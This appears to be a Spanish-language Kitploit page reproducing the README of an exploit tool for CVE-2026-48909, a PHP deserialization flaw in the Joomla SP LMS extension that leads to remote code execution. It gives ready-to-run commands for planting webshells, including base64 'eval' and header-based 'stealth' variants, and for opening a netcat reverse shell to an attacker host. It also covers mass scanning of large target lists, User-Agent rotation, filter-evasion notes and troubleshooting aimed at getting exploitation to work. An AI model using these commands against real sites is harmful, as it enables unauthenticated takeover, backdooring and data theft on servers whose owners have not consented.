CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Exploit de inyección de objetos PHP no autenticada a RCE para la extensión SP LMS de Joomla en versiones <= 4.1.3. Explota la deserialización de la cookie lmsOrders para escribir un webshell mediante la cadena de gadgets FormattedtextLogger de Joomla. Incluye shell interactiva, descubrimiento de rutas y limpieza. Solo para pruebas de seguridad autorizadas. | Kitploit

Atributo	Valor
CVE ID	CVE-2026-48909
CVSS	9.5 (Crítico)
Vector de Ataque	Red — no autenticado
Impacto	Ejecución Remota de Código
Producto Afectado	Joomla SP LMS
Versiones Afectadas	1.0.0 – 4.1.3
Versión Parcheada	SP LMS 4.1.4+
Cadena de Gadgets	Requiere Joomla < 5.2.2

Capacidad	Descripción
Explotación no autenticada	No se requieren credenciales
Múltiples payloads	7 variantes de webshell / ejecución
Shell interactivo	Sesión con historial de comandos tras el despliegue
Descubrimiento de rutas	Sondeo automático de rutas escribibles
Limpieza	Eliminar webshell desplegada tras las pruebas

Capacidad	Descripción
Escaneo masivo	Listas de objetivos con múltiples hilos (1000+)
Soporte de proxy	HTTP/SOCKS (Burp, ZAP, etc.)
Reverse shell	Payloads basados en listener
Modo sigiloso	Canales de comandos mediante cabeceras / POST
Aleatorización	Nombres UUID para shells, rotación de User-Agent
Informes	Exportar como JSON, HTML o CSV
Asistencias de detección	Verificación de versión de Joomla, `--check-only`, `--safe-mode`

# Listener
nc -lvnp 4444

# Host de explotación
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Argumento	Descripción
`target`	URL del objetivo único
`--targets`, `-T FILE`	Archivo con objetivos (una URL por línea)
`--path PATH`	Ruta absoluta en el servidor para la webshell
`--shell-type TYPE`	`minimal`, `standard`, `stealth`, `base64`, `full`, `reverse`, `blindshell`
`--shell-name NAME`	Nombre del archivo webshell (por defecto: `x.php`)

Argumento	Descripción
`--timeout SECONDS`	Tiempo de espera de las peticiones (por defecto: `15`)
`--insecure`	Omitir verificación de certificados TLS
`--proxy URL`	ej. `http://127.0.0.1:8080`
`--random-ua`	Rotar User-Agent (activado por defecto)
`--delay SECONDS`	Retardo entre peticiones

Argumento	Descripción
`--interactive`, `-i`	Shell interactivo tras el despliegue
`--check-only`	Solo verificar vulnerabilidad
`--safe-mode`	Pruebas no destructivas
`--find-path`	Auto-descubrir ruta escribible
`--cmd COMMAND`	Ejecutar un comando y salir
`--cleanup PATH`	Eliminar webshell en la ruta especificada
`--cleanup-after`	Limpiar después de la explotación

Tipo	Comportamiento	Uso típico
`minimal`	Ejecución GET compacta	Espacio limitado / prueba rápida
`standard`	GET + POST `cmd` (por defecto)	Evaluaciones generales
`stealth`	Comando mediante cabecera `X-Cmd`	Reducir registros de URL
`base64`	`eval(base64_decode(...))` vía POST	Laboratorios de evasión de filtros
`full`	GET/POST + canal base64	Control más amplio
`reverse`	Shell de conexión inversa	Acceso persistente en laboratorio
`blindshell`	Patrón alternativo de inclusión/ejecución	Entornos restringidos

python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

flowchart TD
    A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP drop"]
    D --> E["Webshell on disk"]
    E --> F["Remote command execution"]

{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Síntoma	Qué probar
No se pudo generar un payload seguro para el filtro	Cambiar `--path`, o usar `--find-path`; evitar caracteres inusuales en la ruta
Falló la verificación de la shell	Aumentar `--timeout`; probar `--shell-type standard`; confirmar que `system()`/similar no esté deshabilitado; verificar escritura
El objetivo no parece vulnerable	SP LMS ≤ 4.1.3, Joomla < 5.2.2, `com_splms` presente; inspeccionar bloqueos de WAF
HTTP 500	`--insecure`, `--timeout 30`, revisar registros de la aplicación/servidor
Rechazo de conexión del proxy	Confirmar que el proxy esté escuchando; URL/esquema/host/puerto correctos
Falló la verificación TLS	Agregar `--insecure` para endpoints de laboratorio con certificados rotos

# Verboso + archivo de registro
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# A través de Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Primero no destructivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

exploit/
├── CVE-2026-48909 v3.0.py   # Herramienta principal (v3.0)
├── requirements.txt         # Dependencias de Python
├── README.md                # Este archivo
└── venv/                    # Virtualenv local (opcional, no se incluye en el repositorio)

Componente	Versión	RCE
SP LMS	< 4.1.4	Vulnerable
SP LMS	≥ 4.1.4	Parcheado
Joomla	< 5.2.2	Cadena de gadgets utilizable
Joomla	≥ 5.2.2	Cadena de gadgets parcheada

Argumento	Descripción
`--reverse-host HOST`	Host del listener
`--reverse-port PORT`	Puerto del listener

Argumento	Descripción
`--threads NUM`	Hilos de trabajo (por defecto: `10`)
`--export FILE`	Ruta de salida para los resultados
`--export-format FORMAT`	`json`, `html`, `csv` (por defecto: `json`)

Argumento	Descripción
`--log-file FILE`	Escribir registros en un archivo
`--quiet`, `-q`	Modo silencioso
`--verbose`, `-v`	Salida verbosa
`--no-banner`	Ocultar banner

CVE-2026-48909-Joomla-SP-Exploit

Más Populares

Acerca de

CVE-2026-48909

Joomla SP LMS — Inyección de Objetos PHP no Autenticada → Ejecución Remota de Código

Table of Contents

Overview

Vulnerability Details

Matriz de Compatibilidad

Features

Principal

Evaluación y Operaciones

Notas de Evasión

Installation

Prerrequisitos

Configuración

Dependencias

Quick Start

Objetivo único — descubrir ruta + shell interactivo

Verificaciones seguras (sin explotación)

Escaneo masivo

Reverse shell (laboratorio autorizado)

Usage Guide

Descubrimiento de rutas

Ruta escribible conocida

Sesión interactiva

Comando único

Payload sigiloso + interactivo

Proxy (Burp / ZAP)

Limpieza

Formato de lista de objetivos

Command Reference

Objetivo

Red

Reverse shell

Modos

Escaneo masivo / informe

Registro (logging)

Payload Types

Attack Chain

Resumen técnico

Bypass del filtro de entrada (alto nivel)

Output Examples

Sesión interactiva

Exportación JSON (forma)

Comando único

Troubleshooting

Flujo de depuración

Repository Layout

Version History

v3.0.0 — Edición Definitiva (Julio 2026)

v2.1 — Edición Profesional (Julio 2026)

Disclaimer

Author

Support